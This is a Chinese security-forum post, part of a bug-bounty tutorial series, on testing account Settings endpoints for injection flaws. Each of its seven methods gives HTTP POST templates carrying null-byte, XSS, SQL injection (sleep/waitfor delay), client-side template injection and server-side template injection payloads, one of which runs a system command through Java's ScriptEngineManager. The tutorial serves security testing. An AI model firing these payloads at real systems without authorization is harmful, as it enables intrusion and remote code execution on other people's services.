安全矩阵

 找回密码
 立即注册
搜索
查看: 724|回复: 0

漏洞赏金猎人系列-如何测试设置(Setting)功能

[复制链接]

249

主题

299

帖子

1391

积分

金牌会员

Rank: 6Rank: 6

积分
1391
发表于 2022-11-8 20:37:33 | 显示全部楼层 |阅读模式
原文链接:漏洞赏金猎人系列-如何测试设置(Setting)功能

漏洞赏金猎人系列-如何测试设置(Setting)功能
声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由用户承担全部法律及连带责任,文章作者不承担任何法律及连带责任。
正文
本系列主要讲的是设置这个功能的测试,虽然不同的厂商设置这个功能不太一样,但是大体上是一样的,好了,下面开始(其实我都不想发了,有的东西太过骚气,哈哈)
第一种方法
尝试在电子邮件,用户,密码或电话中注入Null,空值或者%00,响应中可能会发生奇怪的事情
POST /setting HTTP/1.1
User-Agent: Mozilla/5.0
Content-Type: application/x-www-form-urlencoded
Content-Length: Number
email , user , pass OR phone=null&token=CSRF
第二种方法
在用户名中尝试注入 '"><svg/onload=prompt('XSS');>{{7*7}}来检测是否存在SQLi , XSS , SSTI 或者 CSTI
POST /setting HTTP/1.1
User-Agent: Mozilla/5.0
Content-Type: application/x-www-form-urlencoded
Content-Length: Number
user , name='"><svg/onload=prompt('XSS');>{{7*7}}& token=CSRF
第三种方法
尝试在用户名中注入SSTIPayloads: {{7*7}} , {{ '7'*7 }}或者 {{ this }},可能会有一个RCE在等着你==
POST /setting HTTP/1.1
User-Agent: Mozilla/5.0
Content-Type: application/x-www-form-urlencoded
Content-Length: Number
user , name={{7*7}}&token=CSRF
第四种方法
尝试在用户名中注入以下SSTIPayloads:
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance(). getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"netstat\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}
可能会有RCE==
POST /setting HTTP/1.1
User-Agent: Mozilla/5.0
Content-Type: application/x-www-form-urlencoded
Content-Length: Number
user={{'a'.getClass().forName('javax.script.ScriptEngineManager'). newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder;x.command(\\\"netstat\\\");org.apache.co mmons.io.IOUtils.toString(x.start().getInputStream())\")}} &token=CSRF
第五种方法
尝试在用户名中注入以下CSTIPayloads:
{{'a'.constructor.prototype.charAt=[].join; $eval('x=alert(1)');}}
可能会发现一个XSS
POST /setting HTTP/1.1
User-Agent: Mozilla/5.0
Content-Type: application/x-www-form-urlencoded
Content-Length: Number
user , name={{'a'.constructor.prototype.charAt=[].join; $eval('x=alert(1)');}}&token=CSRF
第六种方法
尝试在用户名中注入SQLipayloads,比如' or sleep(20)' , -IF(1=1,SLEEP(20),0) AND id='1 OR ' waitfor delay '0:0:30'--
可能有个高危在等着你哦
POST /setting HTTP/1.1
User-Agent: Mozilla/5.0
Content-Type: application/x-www-form-urlencoded
Content-Length: Number
user , name=' or sleep(20)'&token=CSRF
第七种方法
尝试在用户名中注入XSSpayload
<svg/onload=alert('XSS')> OR <script>alert(document.domain);</script>
POST /setting HTTP/1.1
User-Agent: Mozilla/5.0
Content-Type: application/x-www-form-urlencoded
Content-Length: Number
user , name=<svg/onload=alert('XSS')>&token=CSRF
参考
https://speakerdeck.com/aditya45/abusing-functions-for-bug-bounty
https://verneet.com/fuzzing-77-till-p1/
https://hackerone.com/reports/125980
https://gauravnarwani.com/injecting-6200-to-1200/
https://www.betterhacker.com/2018/12/rce-in-hubspot-with-el-injection-in-hubl.html
https://hackerone.com/reports/587829
https://hackerone.com/reports/150156
https://whitton.io/articles/uber-turning-self-xss-into-good-xss/





回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2024-4-17 03:57 , Processed in 0.022916 second(s), 18 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表